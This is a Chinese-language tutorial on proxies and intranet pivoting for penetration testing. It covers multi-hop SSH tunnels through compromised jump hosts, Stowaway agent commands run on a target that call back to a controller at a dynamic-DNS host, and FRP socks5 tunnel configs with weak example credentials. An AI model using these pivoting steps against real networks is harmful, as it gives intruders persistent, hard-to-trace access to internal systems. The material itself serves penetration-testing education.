正向代理和反向代理
在计算机网络领域,代理服务器扮演着至关重要的角色,它在服务器与客户端之间充当中间人的角色,有效地提高系统的安全性、性能和可扩展性 其中正向代理和反向代理是两种最为常见的代理方式
首先,什么是代理服务器呢?代理服务器就是一个位于客户端和目标服务器之间的中间服务器
换句话说:你不会直接访问目标网站,而是委托代理服务器去帮你访问的
代理服务器的分类
类型 | 说明 |
---|---|
正向代理 | 用户 → 代理服务器 → 目标网站。用于访问外网、翻墙、隐藏身份 |
反向代理 | 用户 → 代理服务器 → 内部服务器。用于负载均衡、安全控制 |
透明代理 | 用户无感知,代理服务器悄悄转发请求 |
高匿名代理 | 完全隐藏用户身份,目标服务器看不到真实 IP |
主要来讲讲正向代理和反向代理
正向代理
正向代理是一种位于客户端和服务器之间的代理服务器,客户端将请求发送给正向代理,然后由代理服务器将请求转发给目标服务器。服务器将响应返回给代理服务器,再由代理服务器将响应转发给客户端。正向代理对客户端是透明的,客户端无需知道实际服务器的地址
作用
- 隐藏客户端身份
- 访问控制
- 缓存加速
反向代理
反向代理是一种位于服务器和客户端之间的代理服务器。客户端将请求发送给反向代理,然后由代理服务器根据一定的规则将请求转发给后端服务器。后端服务器将响应返回给代理服务器,再由代理服务器将响应转发给客户端。反向代理对客户端是透明的,客户端无需知道实际服务器的地址,只需将反向代理当作目标服务器一样发送请求就可以
作用
负载均衡
安全性增强:隐藏后端服务器的真实地址和端口,防止 DDos 攻击等
缓存优化
总结一下
两者有什么区别呢
简单来说就是一句话:
正向代理(Forward Proxy):客户端知道目标服务器,服务器不知道客户端是谁
反向代理(Reverse Proxy):客户端不知道真实服务器是谁,只和代理打交道
正向
[你] → [正向代理] → [Google服务器]
反向
[用户] → [反向代理服务器] → [内部 Web 服务器集群]
注意防火墙的出入规则
正向连接和反向连接
正向连接
所谓正向连接就是攻击机去连接靶机,条件网络没有防火墙拦截
反向连接
反向连接就是靶机主动去连接攻击机,前提是目标机器出网(即目标主机能访问外部网络),同时控制端能监听端口,还要防火墙允许
端口转发和端口映射
端口转发 / 端口映射是指:把访问某台设备的某个端口的请求,自动转发到局域网内其他设备的某个端口上
举个简单的例子
你家有一台电脑,你运行了一个 web 服务(在内网 IP:192.168.1.100:8080),你想在公司访问它
但是你电脑在内网,公司访问不到
于是你在路由器上设置端口映射
公网 IP: 1.2.3.4:5000 → 内网 IP: 192.168.1.100:8080
那么公司只要访问
http://1.2.3.4:5000
就等于访问到了你的
http://192.168.1.100:8080
内网搭建
利用 SSH 命令搭建 ssh 隧道
单层 ssh 隧道搭建
首先我画一个图给大家理解一下
攻击机无法直接访问内网的 web 服务,但是已经控制了一个靶机,所以我们可以借助这个可控的靶机作为跳板,让攻击机可以直接访问到内网的 web 服务,然后展开内网渗透
ssh -L 8888:内网Web服务IP:80 user@跳板机IP
-L
:本地转发8888
:本地攻击者监听的端口内网Web服务IP:80
:跳板机上可以访问的目标地址user@跳板机IP
:你控制的那台跳板机
实际就是
你的本地 → 跳板机 → 内网 Web 服务:80
多层 SSH 隧道搭建
接着来张图
可控服务器我们有两个,一个表层一个深层
典型的三层结构
[攻击者(公网)]
↓ SSH
[跳板机A(第一跳,DMZ区)]
↓ SSH
[跳板机B(第二跳,内网)]
↓ HTTP
[内网Web服务器]
通过多跳 SSH 打通路径
第一步:
ssh -L 9999:跳板机B:22 user@跳板机A
第二步:
ssh -L 8888:内网Web:80 -p 9999 user@localhost
这样就能访问到最深处的内网服务了
http://localhost:8888
Stowaway 搭建内网代理
工具地址:https://github.com/ph4ntonn/Stowaway
用法可以直接看手册
命令看不懂可以自己去研究
反向代理
如果想用 Windows 作服务器使
.\windows_x64_admin.exe -l 5555 -s 123
靶机上运行
./linux_x64_agent -c 1055482vbac75.vicp.fun:21413 -s 123 --reconnect 8
本地收到
use 0
socks 1234
攻击机 → 多层节点 → 目标主机 的透明访问路径,非常适合深度渗透或内网漫游
命令示例 | 作用 |
---|---|
list | 查看当前已连接的所有节点(显示编号和 IP) |
use 0 | 切换控制目标为编号为 0 的节点 |
back | 回到上一级节点控制界面(退出当前 use 的节点) |
说明:Stowaway 使用类似 “树状结构” 的控制方式,use
切换控制焦点,back
返回
主控端
参数 | 含义 | 示例 |
---|---|---|
-m | 以 “主控端” 模式运行 | ./stowaway -m -l 9999 |
-l <port> | 指定监听端口 | 监听 9999 端口 |
-s | 使用 TLS 加密通信(可选) | ./stowaway -m -l 9999 -s |
被控端
参数 | 含义 | 示例 |
---|---|---|
-c | 以 “被控端” 模式运行 | 表示是客户端 |
-t <ip> | 指定主控端的 IP 地址 | -t 1.2.3.4 |
-p <port> | 指定主控端监听的端口 | -p 9999 |
-s | 开启 TLS 加密连接(可选) | -s |
也是分正反向代理去搭建的通信
正向代理
靶机上运行
./linux_x64_agent -l 8888 -s 123
本机运行
.\windows_x64_admin.exe -c 192.xxx.xxx.xxx:8888 -s 123
部分 | 含义 |
---|---|
.\windows_x64_admin.exe | 这是 Stowaway 的 Windows 被控端程序,64 位,具有管理员权限的版本 |
-c | 表示以 Client 模式(被控端) 启动 |
xxx.xxx.xxx.xxx:9999 | 目标控制端的 IP 和端口,表示该客户端将主动连接 192.168.180.95 的 9999 端口(主控监听端口) |
-s 123 | 这里的 -s 是用于设置连接密码 / 密钥(根据版本不同也可能代表 TLS 开关),123 是密码或密钥 |
多层代理
服务器运行
./linux_x64_admin -l 1234 -s 123
靶机运行
./linux_x64_agent -c 控制端ip:1234 -s 123 --reconnect 8
建立连接后运行
use 0
listen
1
1234
相当于在 VPS1 建立了一个监听 1234 端口的连接
然后用 VPS2 连接 VPS1 的 1234 端口
./linux_x64_agent -c VPS1:1234 -s 123 --reconnect 8
use 1
socks 5555
控制端看见新节点 node 1 加入,这个就是经过 VPS1 代理的 VPS2,选择 use 1,socks 5555 即可在控制端 5555 端口建立 socks5 代理
FRP 代理搭建
官方文档:https://gofrp.org/zh-cn/docs/
frp 是什么?
frp 是一款高性能的反向代理应用,专注于内网穿透。它支持多种协议,包括 TCP、UDP、HTTP、HTTPS 等,并且具备 P2P 通信功能。使用 frp,您可以安全、便捷地将内网服务暴露到公网,通过拥有公网 IP 的节点进行中转
FRP 工具原理
实现原理
frp 主要由客户端(frpc)和服务器(frps)
客户端通常部署在需要穿透的内网服务所在的机器上
而客户端部署在需要穿透的内网服务所在的机器上
内网服务由于没有公网 IP,不能被非局域网内的其他用户访问,隐藏用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其它信息连接内网机器,实现内网通信
使用
toml 配置版本
公网服务器部署 frp
因为 frp 的插件很多,这里我们用 socks5 插件,来创建 Socks5 代理服务
tar -xf frp_0.54.0_linux_amd64.tar.gz
mv frp_0.54.0_linux_amd64 frp
cd frp
修改配置(这个配置具体要看你用的事什么配置形式的,以下给出 toml 和 ini 的)
vim frps.toml
#服务绑定的IP与端口
bindAddr = "0.0.0.0"
bindPort = 7000
#web dashboard配置
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "admin"
#启用prometheus监控指标
enablePrometheus = true
#token权限验证,需与客户端配置一致
auth.method = "token"
auth.token = "123456"
#日志配置
log.to = "/app/frp/logs/frps.log"
log.level = "info"
log.maxDays = 3
接下来创建日志目录
mkdir /app/frp/logs
启动服务(多种启动方式)
#命令行方式启动
./frps -c ./frps.toml
#后台启动
nohup ./frps -c ./frps.toml &> /dev/null &
#使用systemd方式启动
##准备启动文件
vim /etc/systemd/system/frps.service
[Unit]
# 服务名称,可自定义
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
# 启动frps的命令,需修改为您的frps的安装路径
ExecStart = /app/frp/frps -c /app/frp/frps.toml
[Install]
WantedBy = multi-user.target
##启动服务
systemctl daemon-reload
systemctl start frps
内网服务器部署 frp
上传安装包解压
tar -xf frp_0.54.0_linux_amd64.tar.gz
mv frp_0.54.0_linux_amd64 frp
cd frp
创建日志存储目录
mkdir logs conf.d
修改配置
#注意是frpc.toml文件,服务器是frps.toml
vim frpc.toml
#配置公网服务器上frp服务的IP与端口
serverAddr = "x.x.x.x"
serverPort = 7000
#web dashboard配置
webServer.addr = "0.0.0.0"
webServer.port = 7400
webServer.user = "admin"
webServer.password = "admin"
#日志配置
log.to = "/app/frp/logs/frpc.log"
log.level = "info"
log.maxDays = 3
#token权限验证,需与服务端配置一致
auth.method = "token"
auth.token = "123456"
#代理配置,这里使用引用文件的方式
includes = ["./conf.d/*.toml"]
在这你可以通过修改子配置文件 ,选择想用的代理方式
比如socks5,那就需要修改或添加
./conf.d/socks5.toml
[[proxies]]
name = "socks5_proxy"
type = "tcp"
remotePort = 8886
plugin = "socks5"
plugin_user = "youruser"
plugin_passwd = "yourpass"
#保存以上配置,然后添加代理配置
vim ./conf.d/jenkins.toml
[[proxies]]
name = "jenkins" #名称
type = "tcp" #代理类型
localIP = "127.0.0.1" #本地IP
localPort = 8000 #内网服务监听的端口
remotePort = 8500 #需要在公网服务器上监听的端口
启动服务(多种启动方式)
#命令行方式启动
./frpc -c ./frpc.toml
#后台启动
nohup ./frpc -c ./frpc.toml &> /dev/null &
#使用systemd方式启动
##准备启动文件
vim /etc/systemd/system/frpc.service
[Unit]
# 服务名称,可自定义
Description = frp client
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
# 启动frpc的命令,需修改为您的frpc的安装路径
ExecStart = /app/frp/frpc -c /app/frp/frpc.toml
[Install]
WantedBy = multi-user.target
##启动服务
systemctl daemon-reload
systemctl start frpc
公网服务器 web 界面:http://<公网 IP>:7500
对应 ini 版本
frps 只负责转发流量,它不需要也不运行 socks5 逻辑
其中 frp 作为反向代理工具较为稳定,但是依赖于配置文件,所以容易被溯源到
可用于端口映射或开通 socks 隧道
我这个是使用 socks 插件配置代理的 ini 配置
frps.ini
文件
bindPort = 7000
frpc.ini
文件
[common]
server_addr = xxxx.xxxx.xxxx.xxxx
server_port = 7788
[socks_proxy1]
type = tcp
remote_port =8886
plugin = socks5
加上 token 更加安全
加 token 的版本
frps.ini
[common]
bindPort = 7000
# Token 验证
auth.method = token
auth.token = 123456 # 设置一个与客户端一致的 Token
# 可选:启用 Web 管理界面,查看 frp 状态
# webServer.addr = "0.0.0.0"
# webServer.port = 7500
# webServer.user = "admin"
# webServer.password = "admin"
# 日志配置
log_file = ./frps.log
log_level = info
log_max_days = 3
frpc.ini
[common]
server_addr = xxxx.xxxx.xxxx.xxxx # 公网服务器的 IP 地址
server_port = 7000 # 与服务端的端口保持一致
# Token 验证,必须与服务端一致
auth.method = token
auth.token = 123456 # 设置与服务端一致的 Token
# 日志配置
log_file = ./frpc.log
log_level = info
log_max_days = 3
[socks_proxy1]
type = tcp
remote_port = 8886
plugin = socks5
其他搭建代理的方式后面还有更新~~~